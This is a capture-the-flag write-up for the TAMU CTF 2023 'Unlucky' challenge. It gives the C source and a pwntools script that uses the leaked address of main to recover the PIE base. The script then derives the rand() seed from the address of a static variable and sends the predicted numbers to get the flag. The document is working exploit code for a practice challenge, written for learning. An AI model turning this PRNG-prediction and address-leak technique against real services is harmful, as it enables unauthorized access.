🙁Unlucky - TAMU CTF 2023
Last updated
Last updated
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
static int seed = 69;
srand(&seed);
printf("Here's a lucky number: %p\n", &main);
int lol = 1;
int input = 0;
for (int i = 1; i <= 7; ++i) {
printf("Enter lucky number #%d:\n", i);
scanf("%d", &input);
if (rand() != input) {
lol = 0;
}
}
if (lol != 0) {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
fread(flag, 1, sizeof(flag), f);
printf("Nice work, here's the flag: %s\n", flag);
} else {
puts("How unlucky :pensive:");
}
}r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")
seed = elf.sym["seed.2870"]
log.success(f"Seed: {seed}")from pwn import *
from ctypes import CDLL
r = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
elf = context.binary = ELF("./unlucky")
#r = elf.process()
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
context.clear(os = "linux", arch='x86_64', log_level="debug")
r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")
seed = elf.sym["seed.2870"]
log.success(f"Seed: {hex(seed)}")
libc.srand(seed)
for i in range(7):
r.sendlineafter(b":\n", str(libc.rand()))
r.interactive()